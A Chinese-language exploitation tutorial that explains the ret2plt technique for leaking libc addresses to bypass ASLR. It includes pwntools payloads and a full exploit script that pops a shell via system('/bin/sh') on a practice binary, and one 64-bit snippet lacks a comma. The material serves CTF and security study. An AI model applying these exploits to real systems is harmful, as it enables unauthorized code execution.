Ret2plt
基本信息
该技术的目标是从PLT中泄漏函数的地址,以便绕过ASLR。这是因为,例如,如果您泄漏了libc中puts
函数的地址,那么您可以计算出libc
的基址,并计算偏移量以访问其他函数,如**system
**。
可以使用pwntools
负载来实现此目的(参见此处):
# 32-bit ret2plt
payload = flat(
b'A' * padding,
elf.plt['puts'],
elf.symbols['main'],
elf.got['puts']
)
# 64-bit
payload = flat(
b'A' * padding,
POP_RDI,
elf.got['puts']
elf.plt['puts'],
elf.symbols['main']
)
请注意,使用 PLT 中的地址调用 puts
时,会传入位于 GOT(全局偏移表)中的 puts
地址。这是因为当 puts
打印 puts
的 GOT 条目时,该 条目将包含内存中 puts
的确切地址。
还要注意,在利用中使用了 main
的地址,因此当 puts
结束执行时,二进制文件会再次调用 main
而不是退出(因此泄漏的地址将继续有效)。
请注意,为了使此方法有效,二进制文件不能使用 PIE 编译,或者您必须找到一个泄漏以绕过 PIE,以便了解 PLT、GOT 和 main 的地址。否则,您需要先绕过 PIE。
您可以在此处找到此绕过的完整示例。这是该示例中的最终利用:
from pwn import *
elf = context.binary = ELF('./vuln-32')
libc = elf.libc
p = process()
p.recvline()
payload = flat(
'A' * 32,
elf.plt['puts'],
elf.sym['main'],
elf.got['puts']
)
p.sendline(payload)
puts_leak = u32(p.recv(4))
p.recvlines(2)
libc.address = puts_leak - libc.sym['puts']
log.success(f'LIBC base: {hex(libc.address)}')
payload = flat(
'A' * 32,
libc.sym['system'],
libc.sym['exit'],
next(libc.search(b'/bin/sh\x00'))
)
p.sendline(payload)
p.interactive()
其他示例和参考资料
64位,启用ASLR但没有PIE,第一步是填充溢出直到canary的字节0x00,然后调用puts并泄漏它。使用canary创建ROP小工具来调用puts以从GOT中泄漏puts的地址,然后调用一个ROP小工具来调用
system('/bin/sh')
。64位,启用ASLR,没有canary,在一个子函数中main中的栈溢出。ROP小工具调用puts以泄漏GOT中puts的地址,然后调用一个one gadget。
最后更新于